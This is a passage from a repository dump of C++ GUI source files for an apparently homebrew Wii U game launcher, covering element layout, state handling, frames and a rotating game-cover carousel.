pScale = parentElement->getScaleX();\n                }\n\n                pCenterX -= pWidth * 0.5f * pScale - width * 0.5f * getScaleX();\n            }\n            else if(alignment & ALIGN_RIGHT)\n            {\n                f32 pWidth = 0.0f;\n                f32 pScale = 0.0f;\n\n                if(parentElement)\n                {\n                    pWidth = parentElement->getWidth();\n                    pScale = parentElement->getScaleX();\n                }\n\n                pCenterX += pWidth * 0.5f * pScale - width * 0.5f * getScaleX();\n            }\n            return pCenterX;\n        }\n\n        virtual f32 getCenterY(void)\n        {\n            f32 pCenterY = 0.0f;\n\n            if(parentElement)\n                pCenterY = parentElement->getCenterY();\n\n            pCenterY += yoffset + yoffsetDyn;\n\n            if(alignment & ALIGN_TOP)\n            {\n                f32 pHeight = 0.0f;\n                f32 pScale = 0.0f;\n\n                if(parentElement)\n                {\n                    pHeight = parentElement->getHeight();\n                    pScale = parentElement->getScaleY();\n                }\n\n                pCenterY += pHeight * 0.5f * pScale - getHeight() * 0.5f * getScaleY();\n            }\n            else if(alignment & ALIGN_BOTTOM)\n            {\n                f32 pHeight = 0.0f;\n                f32 pScale = 0.0f;\n\n                if(parentElement)\n                {\n                    pHeight = parentElement->getHeight();\n                    pScale = parentElement->getScaleY();\n                }\n\n                pCenterY -= pHeight * 0.5f * pScale - getHeight() * 0.5f * getScaleY();\n            }\n            return pCenterY;\n        }\n        //!Gets elements xoffset\n        virtual f32 getOffsetX() { return xoffset; }\n        //!Gets elements yoffset\n        virtual f32 getOffsetY() { return yoffset; }\n        //!Gets the current width of the element. Does not currently consider the scale\n        //!\\return width\n        virtual f32 getWidth() { return width; };\n        //!Gets the height of the element. Does not currently consider the scale\n        //!\\return height\n        virtual f32 getHeight() { return height; }\n        //!Sets the size (width/height) of the element\n        //!\\param w Width of element\n        //!\\param h Height of element\n        virtual void setSize(f32 w, f32 h)\n        {\n            width = w;\n            height = h;\n        }\n        //!Sets the element's visibility\n        //!\\param v Visibility (true = visible)\n        virtual void setVisible(bool v)\n        {\n            visible = v;\n            visibleChanged(this, v);\n        }\n        //!Checks whether or not the element is visible\n        //!\\return true if visible, false otherwise\n        virtual bool isVisible() const { return !isStateSet(STATE_HIDDEN) && visible; };\n        //!Checks whether or not the element is selectable\n        //!\\return true if selectable, false otherwise\n        virtual bool isSelectable()\n        {\n            return !isStateSet(STATE_DISABLED) && selectable;\n        }\n        virtual bool isDrawOverOnlyWhenSelected()\n        {\n            return drawOverOnlyWhenSelected;\n        }\n        virtual void setdrawOverOnlyWhenSelected(bool s) { drawOverOnlyWhenSelected = s; }\n        //!Checks whether or not the element is clickable\n        //!\\return true if clickable, false otherwise\n        virtual bool isClickable()\n        {\n            return !isStateSet(STATE_DISABLED) && clickable;\n        }\n        //!Checks whether or not the element is holdable\n        //!\\return true if holdable, false otherwise\n        virtual bool isHoldable() { return !isStateSet(STATE_DISABLED) && holdable; }\n        //!Sets whether or not the element is selectable\n        //!\\param s Selectable\n        virtual void setSelectable(bool s) { selectable = s; }\n        //!Sets whether or not the element is clickable\n        //!\\param c Clickable\n        virtual void setClickable(bool c) { clickable = c; }\n        //!Sets whether or not the element is holdable\n        //!\\param c Holdable\n        virtual void setHoldable(bool d) { holdable = d; }\n        //!Sets the element's state\n        //!\\param s State (STATE_DEFAULT, STATE_SELECTED, STATE_CLICKED, STATE_DISABLED)\n        //!\\param c Controller channel (0-3, -1 = none)\n        virtual void setState(s32 s, s32 c = -1)\n        {\n            if(c >= 0 && c < 4)\n            {\n                state[c] |= s;\n            }\n            else\n            {\n                for(s32 i = 0; i < 4; i++)\n                    state[i] |= s;\n            }\n            stateChan = c;\n            stateChanged(this, s, c);\n        }\n        virtual void clearState(s32 s, s32 c = -1)\n        {\n            if(c >= 0 && c < 4)\n            {\n                state[c] &= ~s;\n            }\n            else\n            {\n                for(s32 i = 0; i < 4; i++)\n                    state[i] &= ~s;\n            }\n            stateChan = c;\n            stateChanged(this, s, c);\n        }\n        virtual bool isStateSet(s32 s, s32 c = -1) const\n        {\n            if(c >= 0 && c < 4)\n            {\n                return (state[c] & s) != 0;\n            }\n            else\n            {\n                for(s32 i = 0; i < 4; i++)\n                   if((state[i] & s) != 0)\n                        return true;\n\n                return false;\n            }\n        }\n        //!Gets the element's current state\n        //!\\return state\n        virtual s32 getState(s32 c = 0) { return state[c]; };\n        //!Gets the controller channel that last changed the element's state\n        //!\\return Channel number (0-3, -1 = no channel)\n        virtual s32 getStateChan() { return stateChan; };\n        //!Resets the element's state to STATE_DEFAULT\n        virtual void resetState()\n        {\n            for(s32 i = 0; i < 4; i++)\n                state[i] = STATE_DEFAULT;\n            stateChan = -1;\n        }\n        //!Sets the element's alpha value\n        //!\\param a alpha value\n        virtual void setAlpha(f32 a) { alpha = a; }\n        //!Gets the element's alpha value\n        //!Considers alpha, alphaDyn, and the parent element's getAlpha() value\n        //!\\return alpha\n        virtual f32 getAlpha()\n        {\n            f32 a;\n\n            if(alphaDyn >= 0)\n                a = alphaDyn;\n            else\n                a = alpha;\n\n            if(parentElement)\n                a = (a * parentElement->getAlpha());\n\n            return a;\n        }\n        //!Sets the element's scale\n        //!\\param s scale (1 is 100%)\n        virtual void setScale(float s)\n        {\n            scaleX = s;\n            scaleY = s;\n            scaleZ = s;\n        }\n        //!Sets the element's scale\n        //!\\param s scale (1 is 100%)\n        virtual void setScaleX(float s) { scaleX = s; }\n        //!Sets the element's scale\n        //!\\param s scale (1 is 100%)\n        virtual void setScaleY(float s) { scaleY = s; }\n        //!Sets the element's scale\n        //!\\param s scale (1 is 100%)\n        virtual void setScaleZ(float s) { scaleZ = s; }\n        //!Gets the element's current scale\n        //!Considers scale, scaleDyn, and the parent element's getScale() value\n        virtual float getScale()\n        {\n            float s = 0.5f * (scaleX+scaleY) * scaleDyn;\n\n            if(parentElement)\n                s *= parentElement->getScale();\n\n            return s;\n        }\n        //!Gets the element's current scale\n        //!Considers scale, scaleDyn, and the parent element's getScale() value\n        virtual float getScaleX()\n        {\n            float s = scaleX * scaleDyn;\n\n            if(parentElement)\n                s *= parentElement->getScaleX();\n\n            return s;\n        }\n        //!Gets the element's current scale\n        //!Considers scale, scaleDyn, and the parent element's getScale() value\n        virtual float getScaleY()\n        {\n            float s = scaleY * scaleDyn;\n\n            if(parentElement)\n                s *= parentElement->getScaleY();\n\n            return s;\n        }\n        //!Gets the element's current scale\n        //!Considers scale, scaleDyn, and the parent element's getScale() value\n        virtual float getScaleZ()\n        {\n            float s = scaleZ;\n\n            if(parentElement)\n                s *= parentElement->getScaleZ();\n\n            return s;\n        }\n        //!Checks whether rumble was requested by the element\n        //!\\return true is rumble was requested, false otherwise\n        virtual bool isRumbleActive() { return rumble; }\n        //!Sets whether or not the element is requesting a rumble event\n        //!\\param r true if requesting rumble, false if not\n        virtual void setRumble(bool r) { rumble = r; }\n        //!Set an effect for the element\n        //!\\param e Effect to enable\n        //!\\param a Amount of the effect (usage varies on effect)\n        //!\\param t Target amount of the effect (usage varies on effect)\n        virtual void setEffect(s32 e, s32 a, s32 t=0);\n        //!Sets an effect to be enabled on wiimote cursor over\n        //!\\param e Effect to enable\n        //!\\param a Amount of the effect (usage varies on effect)\n        //!\\param t Target amount of the effect (usage varies on effect)\n        virtual void setEffectOnOver(s32 e, s32 a, s32 t=0);\n        //!Shortcut to SetEffectOnOver(EFFECT_SCALE, 4, 110)\n        virtual void setEffectGrow() { setEffectOnOver(EFFECT_SCALE, 4, 110); }\n        //!Reset all applied effects\n        virtual void resetEffects();\n        //!Gets the current element effects\n        //!\\return element effects\n        virtual s32 getEffect() const { return effects; }\n        //!\\return true if element animation is on going\n        virtual bool isAnimated() const { return (parentElement != 0) && (getEffect() > 0); }\n        //!Checks whether the specified coordinates are within the element's boundaries\n        //!\\param x X coordinate\n        //!\\param y Y coordinate\n        //!\\return true if contained within, false otherwise\n        virtual bool isInside(f32 x, f32 y)\n        {\n            return (    x > (this->getCenterX() - getScaleX() * getWidth() * 0.5f)\n                    &&  x < (this->getCenterX() + getScaleX() * getWidth() * 0.5f)\n                    &&  y > (this->getCenterY() - getScaleY() * getHeight() * 0.5f)\n                    &&  y < (this->getCenterY() + getScaleY() * getHeight() * 0.5f));\n        }\n        //!Sets the element's position\n        //!\\param x X coordinate\n        //!\\param y Y coordinate\n        virtual void setPosition(f32 x, f32 y)\n        {\n            xoffset = x;\n            yoffset = y;\n        }\n        //!Sets the element's position\n        //!\\param x X coordinate\n        //!\\param y Y coordinate\n        //!\\param z Z coordinate\n        virtual void setPosition(f32 x, f32 y, f32 z)\n        {\n            xoffset = x;\n            yoffset = y;\n            zoffset = z;\n        }\n        //!Gets whether or not the element is in STATE_SELECTED\n        //!\\return true if selected, false otherwise\n        virtual s32 getSelected() { return -1; }\n        //!Sets the element's alignment respective to its parent element\n        //!Bitwise ALIGN_LEFT | ALIGN_RIGHT | ALIGN_CENTRE, ALIGN_TOP, ALIGN_BOTTOM, ALIGN_MIDDLE)\n        //!\\param align Alignment\n        virtual void setAlignment(s32 a) { alignment = a; }\n        //!Gets the element's alignment\n        virtual s32 getAlignment() const { return alignment; }\n        //!Angle of the object\n        virtual void setAngle(f32 a) { angle = a; }\n        //!Angle of the object\n        virtual f32 getAngle() const { f32 r_angle = angle; if(parentElement) r_angle += parentElement->getAngle(); return r_angle; }\n        //!Called constantly to allow the element to respond to the current input data\n        //!\\param t Pointer to a GuiController, containing the current input data from PAD/WPAD/VPAD\n        virtual void update(GuiController * t) { }\n        //!Called constantly to redraw the element\n        virtual void draw(CVideo * v) { }\n        //!Called constantly to process stuff in the element\n        virtual void process() { }\n\n        //!Updates the element's effects (dynamic values)\n        //!Called by Draw(), used for animation purposes\n        virtual void updateEffects();\n\n        typedef struct _POINT {\n            s32 x;\n            s32 y;\n        } POINT;\n\n        enum\n        {\n            STATE_DEFAULT = 0,\n            STATE_SELECTED = 0x01,\n            STATE_CLICKED = 0x02,\n            STATE_HELD = 0x04,\n            STATE_OVER = 0x08,\n            STATE_HIDDEN = 0x10,\n            STATE_DISABLE_INPUT = 0x20,\n            STATE_CLICKED_TOUCH = 0x40,\n            STATE_DISABLED = 0x80\n        };\n\n        //! Switch pointer from control to screen position\n        POINT PtrToScreen(POINT p)\n        {\n            //! TODO for 3D\n            //POINT r = { p.x + getLeft(), p.y + getTop() };\n            return p;\n        }\n        //! Switch pointer screen to control position\n        POINT PtrToControl(POINT p)\n        {\n            //! TODO for 3D\n            //POINT r = { p.x - getLeft(), p.y - getTop() };\n            return p;\n        }\n        //! Signals\n        sigslot::signal2<GuiElement *, bool> visibleChanged;\n        sigslot::signal3<GuiElement *, s32, s32> stateChanged;\n        sigslot::signal1<GuiElement *> effectFinished;\n    protected:\n        bool rumble; //!< Wiimote rumble (on/off) - set to on when this element requests a rumble event\n        bool visible; //!< Visibility of the element. If false, Draw() is skipped\n        bool selectable; //!< Whether or not this element selectable (can change to SELECTED state)\n        bool clickable; //!< Whether or not this element is clickable (can change to CLICKED state)\n        bool holdable; //!< Whether or not this element is holdable (can change to HELD state)\n        bool drawOverOnlyWhenSelected; //!< Whether or not this element is holdable (can change to HELD state)\n        f32 width; //!< Element width\n        f32 height; //!< Element height\n        f32 xoffset; //!< Element X offset\n        f32 yoffset; //!< Element Y offset\n        f32 zoffset; //!< Element Z offset\n        f32 alpha; //!< Element alpha value (0-255)\n        f32 angle; //!< Angle of the object (0-360)\n        f32 scaleX; //!< Element scale (1 = 100%)\n        f32 scaleY; //!< Element scale (1 = 100%)\n        f32 scaleZ; //!< Element scale (1 = 100%)\n        s32 alignment; //!< Horizontal element alignment, respective to parent element\n        s32 state[4]; //!< Element state (DEFAULT, SELECTED, CLICKED, DISABLED)\n        s32 stateChan; //!< Which controller channel is responsible for the last change in state\n        GuiElement * parentElement; //!< Parent element\n\n        //! TODO: Move me to some Animator class\n        s32 xoffsetDyn; //!< Element X offset, dynamic (added to xoffset value for animation effects)\n        s32 yoffsetDyn; //!< Element Y offset, dynamic (added to yoffset value for animation effects)\n        f32 alphaDyn; //!< Element alpha, dynamic (multiplied by alpha value for blending/fading effects)\n        f32 scaleDyn; //!< Element scale, dynamic (multiplied by alpha value for blending/fading effects)\n        s32 effects; //!< Currently enabled effect(s). 0 when no effects are enabled\n        s32 effectAmount; //!< Effect amount. Used by different effects for different purposes\n        s32 effectTarget; //!< Effect target amount. Used by different effects for different purposes\n        s32 effectsOver; //!< Effects to enable when wiimote cursor is over this element. Copied to effects variable on over event\n        s32 effectAmountOver; //!< EffectAmount to set when wiimote cursor is over this element\n        s32 effectTargetOver; //!< EffectTarget to set when wiimote cursor is over this element\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiFrame.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiFrame.h\"\n\nGuiFrame::GuiFrame(GuiFrame *p)\n{\n    parent = p;\n    width = 0;\n    height = 0;\n    dim = false;\n\n    if(parent)\n        parent->append(this);\n}\n\nGuiFrame::GuiFrame(f32 w, f32 h, GuiFrame *p)\n{\n    parent = p;\n    width = w;\n    height = h;\n    dim = false;\n\n    if(parent)\n        parent->append(this);\n}\n\nGuiFrame::~GuiFrame()\n{\n    closing(this);\n\n    if(parent)\n        parent->remove(this);\n}\n\nvoid GuiFrame::append(GuiElement* e)\n{\n    if (e == NULL)\n        return;\n\n    remove(e);\n    elements.push_back(e);\n    e->setParent(this);\n}\n\nvoid GuiFrame::insert(GuiElement* e, u32 index)\n{\n    if (e == NULL || (index >= elements.size()))\n        return;\n\n    remove(e);\n    elements.insert(elements.begin()+index, e);\n    e->setParent(this);\n}\n\nvoid GuiFrame::remove(GuiElement* e)\n{\n    if (e == NULL)\n        return;\n\n    for (u32 i = 0; i < elements.size(); ++i)\n    {\n        if(e == elements[i])\n        {\n            elements.erase(elements.begin()+i);\n            break;\n        }\n    }\n}\n\nvoid GuiFrame::removeAll()\n{\n    elements.clear();\n}\n\nvoid GuiFrame::close()\n{\n    //Application::instance()->pushForDelete(this);\n}\n\nvoid GuiFrame::dimBackground(bool d)\n{\n    dim = d;\n}\n\nGuiElement* GuiFrame::getGuiElementAt(u32 index) const\n{\n    if (index >= elements.size())\n        return NULL;\n    return elements[index];\n}\n\nu32 GuiFrame::getSize()\n{\n    return elements.size();\n}\n\nvoid GuiFrame::resetState()\n{\n    GuiElement::resetState();\n\n    for (u32 i = 0; i < elements.size(); ++i)\n    {\n        elements[i]->resetState();\n    }\n}\n\nvoid GuiFrame::setState(s32 s, s32 c)\n{\n    GuiElement::setState(s, c);\n\n    for (u32 i = 0; i < elements.size(); ++i)\n    {\n        elements[i]->setState(s, c);\n    }\n}\n\nvoid GuiFrame::clearState(s32 s, s32 c)\n{\n    GuiElement::clearState(s, c);\n\n    for (u32 i = 0; i < elements.size(); ++i)\n    {\n        elements[i]->clearState(s, c);\n    }\n}\n\nvoid GuiFrame::setVisible(bool v)\n{\n    visible = v;\n\n    for (u32 i = 0; i < elements.size(); ++i)\n    {\n        elements[i]->setVisible(v);\n    }\n}\n\ns32 GuiFrame::getSelected()\n{\n    // find selected element\n    s32 found = -1;\n    for (u32 i = 0; i < elements.size(); ++i)\n    {\n        if(elements[i]->isStateSet(STATE_SELECTED | STATE_OVER))\n        {\n            found = i;\n            break;\n        }\n    }\n    return found;\n}\n\nvoid GuiFrame::draw(CVideo * v)\n{\n    if(!this->isVisible() && parentElement)\n        return;\n\n    if(parentElement && dim == true)\n    {\n        //GXColor dimColor = (GXColor){0, 0, 0, 0x70};\n        //Menu_DrawRectangle(0, 0, GetZPosition(), screenwidth,screenheight, &dimColor, false, true);\n    }\n\n    //! render appended items next frame but allow stop of render if size is reached\n    u32 size = elements.size();\n\n    for (u32 i = 0; i < size && i < elements.size(); ++i)\n    {\n        elements[i]->draw(v);\n    }\n}\n\nvoid GuiFrame::updateEffects()\n{\n    if(!this->isVisible() && parentElement)\n        return;\n\n    GuiElement::updateEffects();\n\n    //! render appended items next frame but allow stop of render if size is reached\n    u32 size = elements.size();\n\n    for (u32 i = 0; i < size && i < elements.size(); ++i)\n    {\n        elements[i]->updateEffects();\n    }\n}\n\nvoid GuiFrame::process()\n{\n    if(!this->isVisible() && parentElement)\n        return;\n\n    GuiElement::process();\n\n    //! render appended items next frame but allow stop of render if size is reached\n    u32 size = elements.size();\n\n    for (u32 i = 0; i < size && i < elements.size(); ++i)\n    {\n        elements[i]->process();\n    }\n}\n\nvoid GuiFrame::update(GuiController * c)\n{\n    if(isStateSet(STATE_DISABLED) && parentElement)\n        return;\n\n    //! update appended items next frame\n    u32 size = elements.size();\n\n    for (u32 i = 0; i < size && i < elements.size(); ++i)\n    {\n        elements[i]->update(c);\n    }\n}\n"
  },
  {
    "path": "src/gui/GuiFrame.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_FRAME_H_\n#define GUI_FRAME_H_\n\n#include <vector>\n#include \"GuiElement.h\"\n#include \"sigslot.h\"\n\n//!Allows GuiElements to be grouped together into a \"window\"\nclass GuiFrame : public GuiElement\n{\n    public:\n        //!Constructor\n        GuiFrame(GuiFrame *parent = 0);\n        //!\\overload\n        //!\\param w Width of window\n        //!\\param h Height of window\n        GuiFrame(f32 w, f32 h, GuiFrame *parent = 0);\n        //!Destructor\n        virtual ~GuiFrame();\n        //!Appends a GuiElement to the GuiFrame\n        //!\\param e The GuiElement to append. If it is already in the GuiFrame, it is removed first\n        void append(GuiElement* e);\n        //!Inserts a GuiElement into the GuiFrame at the specified index\n        //!\\param e The GuiElement to insert. If it is already in the GuiFrame, it is removed first\n        //!\\param i Index in which to insert the element\n        void insert(GuiElement* e, u32 i);\n        //!Removes the specified GuiElement from the GuiFrame\n        //!\\param e GuiElement to be removed\n        void remove(GuiElement* e);\n        //!Removes all GuiElements\n        void removeAll();\n        //!Bring element to front of the window\n        void bringToFront(GuiElement *e) { remove(e); append(e); }\n        //!Returns the GuiElement at the specified index\n        //!\\param index The index of the element\n        //!\\return A pointer to the element at the index, NULL on error (eg: out of bounds)\n        GuiElement* getGuiElementAt(u32 index) const;\n        //!Returns the size of the list of elements\n        //!\\return The size of the current element list\n        u32 getSize();\n        //!Sets the visibility of the window\n        //!\\param v visibility (true = visible)\n        void setVisible(bool v);\n        //!Resets the window's state to STATE_DEFAULT\n        void resetState();\n        //!Sets the window's state\n        //!\\param s State\n        void setState(s32 s, s32 c = -1);\n        void clearState(s32 s, s32 c = -1);\n        //!Gets the index of the GuiElement inside the window that is currently selected\n        //!\\return index of selected GuiElement\n        s32 getSelected();\n        //!Dim the Window's background\n        void dimBackground(bool d);\n        //!Draws all the elements in this GuiFrame\n        void draw(CVideo * v);\n        //!Updates the window and all elements contains within\n        //!Allows the GuiFrame and all elements to respond to the input data specified\n        //!\\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD\n        void update(GuiController * t);\n        //!virtual Close Window - this will put the object on the delete queue in MainWindow\n        virtual void close();\n        //!virtual show window function\n        virtual void show() {}\n        //!virtual hide window function\n        virtual void hide() {}\n        //!virtual enter main loop function (blocking)\n        virtual void exec() {}\n        //!virtual updateEffects which is called by the main loop\n        virtual void updateEffects();\n        //!virtual process which is called by the main loop\n        virtual void process();\n        //! Signals\n        //! On Closing\n        sigslot::signal1<GuiFrame *> closing;\n    protected:\n        bool dim;   //! Enable/disable dim of a window only\n        GuiFrame *parent; //!< Parent Window\n        std::vector<GuiElement*> elements; //!< Contains all elements within the GuiFrame\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiGameBrowser.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUIGAMEBROWSER_H_\n#define GUIGAMEBROWSER_H_\n\n#include \"Gui.h\"\n#include \"sigslot.h\"\n\nclass GuiGameBrowser : public GuiFrame\n{\npublic:\n    GuiGameBrowser(int w, int h, int GameIndex) : GuiFrame(w, h) {}\n    virtual ~GuiGameBrowser() {}\n\n    virtual void setSelectedGame(int idx) = 0;\n    virtual int getSelectedGame(void) = 0;\n\n    sigslot::signal2<GuiGameBrowser *, int> gameLaunchClicked;\n    sigslot::signal2<GuiGameBrowser *, int> gameSelectionChanged;\n};\n\n#endif /* GUIGAMEBROWSER_H_ */\n"
  },
  {
    "path": "src/gui/GuiGameCarousel.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <map>\n#include <string.h>\n#include <math.h>\n#include <sstream>\n#include <unistd.h>\n#include \"settings/CSettings.h\"\n#include \"GuiGameCarousel.h\"\n#include \"GuiImageAsync.h\"\n#include \"common/common.h\"\n#include \"game/GameList.h\"\n#include \"resources/Resources.h\"\n#include \"utils/utils.h\"\n\n#define DEG_OFFSET          8.0f\n#define COVERS_CENTER_DEG   (bPageSizeEven ? (pagesize * 0.5f * DEG_OFFSET) : (pagesize * 0.5f * DEG_OFFSET - 0.5f * DEG_OFFSET))\n#define RADIUS\t            1000.0f\n#define IN_SPEED\t        175\n#define SHIFT_SPEED         75\n#define SPEED_STEP          4\n#define SPEED_LIMIT         250\n\n#define MAX_PAGE_SIZE       14\n\n/**\n * Constructor for the GuiGameCarousel class.\n */\nGuiGameCarousel::GuiGameCarousel(int w, int h, int GameIndex)\n    : GuiGameBrowser(w, h, GameIndex)\n    , buttonClickSound(Resources::GetSound(\"button_click.mp3\"))\n    , noCover(Resources::GetFile(\"noCover.png\"), Resources::GetFileSize(\"noCover.png\"))\n    , gameTitle((char*)NULL, 52, glm::vec4(1.0f))\n    , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n    , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true)\n    , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true)\n    , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true)\n    , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true)\n    , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true)\n    , touchButton(w, h)\n    , DPADButtons(w, h)\n    , particleBgImage(w, h, 100)\n    , bgUsedImageDataAsync(NULL)\n    , bgNewImageDataAsync(NULL)\n    , bgFadingImageDataAsync(NULL)\n{\n    pagesize = (GameList::instance()->size() < MAX_PAGE_SIZE) ? GameList::instance()->size() : MAX_PAGE_SIZE;\n    bFullCircleMode = (GameList::instance()->size() > MAX_PAGE_SIZE);\n    refreshDrawMap = true;\n    selectable = true;\n    selectedGame = GameIndex;\n    listOffset = selectedGame;\n    selectedGameOnDragStart = 0;\n    forceRotateDirection = 0;\n    bWasDragging = false;\n    bAnimating = false;\n    bPageSizeEven = ((pagesize >> 1) << 1) == pagesize;\n\n    rotateDirection = 0;\n    lastTouchDifference = 0;\n    gameLaunchTimer = 0;\n    touchClickDelay = 0;\n    circleRotationSpeed = 0.0f;\n    circleSpeedMin = 0.3f;\n    circleSpeedMax = 1.8f;\n    startRotationDistance = 0.0f;\n    circleCenterDegree = 90.0f;\n    circleStartDegree = circleCenterDegree + COVERS_CENTER_DEG;\n    destDegree = bFullCircleMode ? circleStartDegree : (circleCenterDegree + listOffset * DEG_OFFSET);\n    currDegree = 0.0f;\n\n    this->append(&particleBgImage);\n\n    game.resize(pagesize);\n    drawOrder.resize(pagesize);\n    coverImg.resize(GameList::instance()->size());\n\n    touchButton.setAlignment(ALIGN_LEFT | ALIGN_TOP);\n    touchButton.setTrigger(&touchTrigger);\n    touchButton.setTrigger(&wpadTouchTrigger);\n    touchButton.setClickable(true);\n    touchButton.setHoldable(true);\n    touchButton.clicked.connect(this, &GuiGameCarousel::OnTouchClick);\n    touchButton.held.connect(this, &GuiGameCarousel::OnTouchHold);\n    touchButton.released.connect(this, &GuiGameCarousel::OnTouchRelease);\n    this->append(&touchButton);\n\n    DPADButtons.setTrigger(&buttonATrigger);\n    DPADButtons.setTrigger(&buttonLTrigger);\n    DPADButtons.setTrigger(&buttonRTrigger);\n    DPADButtons.setTrigger(&buttonLeftTrigger);\n    DPADButtons.setTrigger(&buttonRightTrigger);\n    DPADButtons.clicked.connect(this, &GuiGameCarousel::OnDPADClick);\n    append(&DPADButtons);\n\n    gameTitle.setPosition(0, -320);\n    gameTitle.setBlurGlowColor(5.0f, glm::vec4(0.109804, 0.6549, 1.0f, 1.0f));\n    gameTitle.setMaxWidth(900, GuiText::DOTTED);\n    append(&gameTitle);\n\n    refresh();\n}\n\n/**\n * Destructor for the GuiGameCarousel class.\n */\nGuiGameCarousel::~GuiGameCarousel()\n{\n    AsyncDeleter::pushForDelete(bgFadingImageDataAsync);\n    AsyncDeleter::pushForDelete(bgUsedImageDataAsync);\n    AsyncDeleter::pushForDelete(bgNewImageDataAsync);\n\n    for (u32 i = 0; i < coverImg.size(); ++i)\n        delete coverImg[i];\n    for (u32 i = 0; i < game.size(); ++i)\n        delete game[i];\n\n    Resources::RemoveSound(buttonClickSound);\n}\n\nvoid GuiGameCarousel::setSelectedGame(int idx)\n{\n    if(pagesize == 0)\n        return;\n\n    if(idx < 0)\n        idx = 0;\n    if(idx >= GameList::instance()->size())\n        idx = GameList::instance()->size()-1;\n\n    selectedGame = idx;\n    loadBgImage(idx);\n\n    touchClickDelay = 20;\n    circleSpeedMax = 1.8f;\n    refreshDrawMap = true;\n}\n\nint GuiGameCarousel::getSelectedGame()\n{\n    return selectedGame;\n}\n\nvoid GuiGameCarousel::refresh()\n{\n    // since we got more than enough memory we can pre-cache all covers\n    // once there are more than 1000 games for the WiiU we can do a load on demand\n    for (int i = 0; i < GameList::instance()->size(); i++)\n    {\n        //------------------------\n        // Image\n        //------------------------\n        delete coverImg[i];\n\n        std::string filepath = CSettings::getValueAsString(CSettings::GameCover3DPath) + \"/\" + GameList::instance()->at(i)->id + \".png\";\n\n        coverImg[i] = new GuiImageAsync(filepath, &noCover);\n    }\n\n    for (int i = 0; i < pagesize; i++)\n    {\n        //------------------------\n        // Index\n        //------------------------\n        int gameIndex = getGameIndex(listOffset, i);\n\n        //------------------------\n        // GameButton\n        //------------------------\n        delete game[i];\n        game[i] = new GuiButton(coverImg[gameIndex]->getWidth(), coverImg[gameIndex]->getHeight());\n        game[i]->setAlignment(ALIGN_CENTER | ALIGN_MIDDLE);\n        game[i]->setImage(coverImg[gameIndex]);\n        game[i]->setParent(this);\n        game[i]->setTrigger(&touchTrigger);\n        game[i]->setTrigger(&wpadTouchTrigger);\n        game[i]->setSoundClick(buttonClickSound);\n        game[i]->setEffectGrow();\n        game[i]->clicked.connect(this, &GuiGameCarousel::OnGameButtonClick);\n\n        drawOrder[i] = i;\n    }\n\n    setSelectedGame(selectedGame);\n}\n\nvoid GuiGameCarousel::OnGameButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    for(u32 i = 0; i < game.size(); i++)\n    {\n        if(button == game[i])\n        {\n            int gameIndex = getGameIndex(listOffset, i);\n            if(selectedGame == (int)gameIndex)\n            {\n                if(gameLaunchTimer < 30)\n                    OnLaunchClick(button, controller, trigger);\n\n                gameLaunchTimer = 0;\n            }\n\n            setSelectedGame(gameIndex);\n            gameSelectionChanged(this, gameIndex);\n            break;\n        }\n    }\n}\n\nvoid GuiGameCarousel::OnTouchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if((pagesize == 0) || !controller->data.validPointer)\n        return;\n\n    bWasDragging = false;\n    selectedGameOnDragStart = getGameIndex(listOffset, drawOrder[ drawOrder.size() - 